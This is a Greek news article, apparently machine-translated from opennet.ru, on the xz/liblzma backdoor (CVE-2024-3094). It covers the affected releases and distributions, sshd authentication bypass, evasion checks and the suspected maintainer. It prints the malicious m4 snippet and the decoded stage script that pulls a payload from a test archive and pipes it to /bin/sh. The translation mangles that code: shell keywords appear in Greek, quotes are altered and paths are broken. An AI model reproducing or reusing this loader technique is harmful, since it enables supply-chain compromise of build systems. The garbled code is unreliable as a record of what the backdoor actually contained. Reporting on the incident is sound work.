Ανακαλύφθηκε μια κερκόπορτα στη βιβλιοθήκη xz/liblzma που επιτρέπει την είσοδο μέσω sshd

Στο πακέτο XZ Utils, το οποίο περιλαμβάνει τη βιβλιοθήκη liblzma και βοηθητικά προγράμματα για εργασία με συμπιεσμένα δεδομένα σε μορφή «.xz», έχει εντοπιστεί μια κερκόπορτα (CVE-2024-3094) που επιτρέπει την παρακολούθηση και την τροποποίηση δεδομένων που υποβάλλονται σε επεξεργασία από εφαρμογές που σχετίζονται με τη βιβλιοθήκη liblzma. Ο κύριος στόχος του backdoor είναι ο διακομιστής OpenSSH, ο οποίος σε ορισμένες διανομές συνοδεύεται από τη βιβλιοθήκη libsystemd, η οποία με τη σειρά της χρησιμοποιεί το liblzma. Η σύνδεση του sshd με μια ευάλωτη βιβλιοθήκη επιτρέπει στους εισβολείς να αποκτήσουν πρόσβαση στον διακομιστή SSH χωρίς έλεγχο ταυτότητας.

Το backdoor ήταν παρόν στις επίσημες εκδόσεις 5.6.0 και 5.6.1, που δημοσιεύτηκαν στις 24 Φεβρουαρίου και στις 9 Μαρτίου, οι οποίες κατάφεραν να μπουν σε ορισμένες διανομές και αποθετήρια, για παράδειγμα, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide και 40-beta, openSUSE εργοστασιακό και tumbleweed, LibreELEC, Alpine edge, Solus, NixOS ασταθές, OpenIndiana, OpenMandriva rolling, ρεύμα pkgsrc, ρεύμα Slackware, δοκιμή Manjaro. Συνιστάται σε όλους τους χρήστες των εκδόσεων xz 5.6.0 και 5.6.1 να επιστρέψουν επειγόντως στην έκδοση 5.4.6.

Μεταξύ των παραγόντων που μετριάζουν το πρόβλημα, μπορεί να σημειωθεί ότι η έκδοση του liblzma με backdoor δεν κατάφερε να γίνει μέρος των σταθερών εκδόσεων μεγάλων διανομών, αλλά επηρέασε το openSUSE Tumbleweed και το Fedora 40-beta. Το Arch Linux και το Gentoo χρησιμοποίησαν μια ευάλωτη έκδοση του zx, αλλά δεν είναι ευαίσθητα στην επίθεση επειδή δεν εφαρμόζουν την ενημερωμένη έκδοση κώδικα systemd-notify στο openssh, γεγονός που προκαλεί τη σύνδεση του sshd με το liblzma. Το backdoor επηρεάζει μόνο συστήματα x86_64 που βασίζονται στον πυρήνα του Linux και τη βιβλιοθήκη Glibc C.

Ο κωδικός ενεργοποίησης της κερκόπορτας ήταν κρυμμένος σε μακροεντολές m4 από το αρχείο build-to-host.m4 που χρησιμοποιήθηκε από το κιτ εργαλείων automake κατά την κατασκευή. Κατά τη συναρμολόγηση, κατά την εκτέλεση περίπλοκων συγκεχυμένων λειτουργιών που βασίζονται σε αρχεία (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), που χρησιμοποιούνται για τον έλεγχο της ορθότητας της λειτουργίας, δημιουργήθηκε ένα αρχείο αντικειμένου με κακόβουλο κώδικα, το οποίο συμπεριλήφθηκε στο τη βιβλιοθήκη liblzma και άλλαξε τη λογική λειτουργίας μερικές από τις λειτουργίες της. Οι μακροεντολές m4 που ενεργοποιούν την κερκόπορτα συμπεριλήφθηκαν στα tarballs απελευθέρωσης, αλλά δεν ήταν στο αποθετήριο Git. Ταυτόχρονα, στο αποθετήριο υπήρχαν κακόβουλα αρχεία δοκιμών, δηλ. το άτομο που εφάρμοσε την κερκόπορτα είχε πρόσβαση τόσο στο χώρο αποθήκευσης όσο και στη διαδικασία δημιουργίας έκδοσης.

Όταν χρησιμοποιείτε το liblzma σε εφαρμογές, κακόβουλες αλλαγές θα μπορούσαν να χρησιμοποιηθούν για την υποκλοπή ή την τροποποίηση δεδομένων ή για να επηρεάσουν τη λειτουργία του sshd. Συγκεκριμένα, ο κακόβουλος κώδικας πλαστοποίησε τη συνάρτηση RSA_public_decrypt για να παρακάμψει τη διαδικασία ελέγχου ταυτότητας sshd. Το backdoor περιελάμβανε προστασία από εντοπισμό και δεν εμφανιζόταν όταν ορίστηκαν οι μεταβλητές περιβάλλοντος LANG και TERM (δηλαδή κατά την εκτέλεση της διαδικασίας στο τερματικό) και οι μεταβλητές περιβάλλοντος LD_DEBUG και LD_PROFILE δεν ορίστηκαν και ενεργοποιήθηκε επίσης μόνο κατά την εκτέλεση του /usr/sbin/sshd εκτελέσιμο αρχείο . Το backdoor είχε επίσης ένα μέσο ανίχνευσης εκτέλεσης σε περιβάλλοντα εντοπισμού σφαλμάτων.

Συγκεκριμένα, το αρχείο m4/build-to-host.m4 χρησιμοποιούσε gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Στην πρώτη κατασκευή, η λειτουργία grep βρήκε το αρχείο tests/files/bad-3-corrupt_lzma2.xz, το οποίο, όταν αποσυσκευάστηκε, δημιούργησε το σενάριο: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && έξοδος 0 [ ! $(uname) = "Linux" ] && έξοδος 0 [ ! $(uname) = "Linux" ] && έξοδος 0 [ ! $(uname) = "Linux" ] && έξοδος 0 [ ! $(uname) = "Linux" ] && έξοδος 0 eval `grep ^srcdir= config.status` αν δοκιμαστεί -f ../../config.status;τότε eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Το πώς οι επιτιθέμενοι κατάφεραν να αποκτήσουν πρόσβαση στην υποδομή του έργου xz δεν έχει ακόμη αποσαφηνιστεί πλήρως. Επίσης, δεν είναι ακόμη σαφές πόσοι χρήστες και έργα παραβιάστηκαν ως αποτέλεσμα του backdoor. Ο υποτιθέμενος συγγραφέας του backdoor (JiaT75 - Jia Tan), ο οποίος δημοσίευσε αρχεία με κακόβουλο κώδικα στο αποθετήριο, αλληλογραφούσε με τους προγραμματιστές του Fedora και έστειλε αιτήματα έλξης στο Debian σχετικά με τη μετάβαση των διανομών στο κλάδο xz 5.6.0 και δεν το έκανε κινούν υποψίες, αφού συμμετείχε στο xz αναπτύσσεται τα τελευταία δύο χρόνια και είναι ο δεύτερος προγραμματιστής όσον αφορά τον αριθμό των αλλαγών που έγιναν. Εκτός από το έργο xz, ο φερόμενος ως συγγραφέας του backdoor συμμετείχε επίσης στην ανάπτυξη των πακέτων xz-java και xz-embedded. Επιπλέον, ο Jia Tan πριν από λίγες μέρες συμπεριλήφθηκε στον αριθμό των συντηρητών του έργου XZ Embedded που χρησιμοποιείται στον πυρήνα του Linux.

Η κακόβουλη αλλαγή ανακαλύφθηκε μετά την ανάλυση της υπερβολικής κατανάλωσης CPU και των σφαλμάτων που δημιουργούνται από το valgrind κατά τη σύνδεση μέσω ssh σε συστήματα που βασίζονται σε Sid του Debian. Αξίζει να σημειωθεί ότι η έκδοση xz 5.6.1 περιελάμβανε αλλαγές που ετοίμασε ο υποτιθέμενος συγγραφέας του backdoor ως απάντηση σε παράπονα για επιβράδυνση του sshd και σφάλματα που προέκυψαν μετά την αναβάθμιση στην έκδοση zx 5.6.0 με την κερκόπορτα. Επιπλέον, πέρυσι η Jia Tan έκανε αλλαγές που δεν ήταν συμβατές με τη λειτουργία επιθεώρησης "-fsanitize=address", με αποτέλεσμα να απενεργοποιηθεί κατά τη δοκιμή fuzz.

Πηγή: opennet.ru

Προσθέστε ένα σχόλιο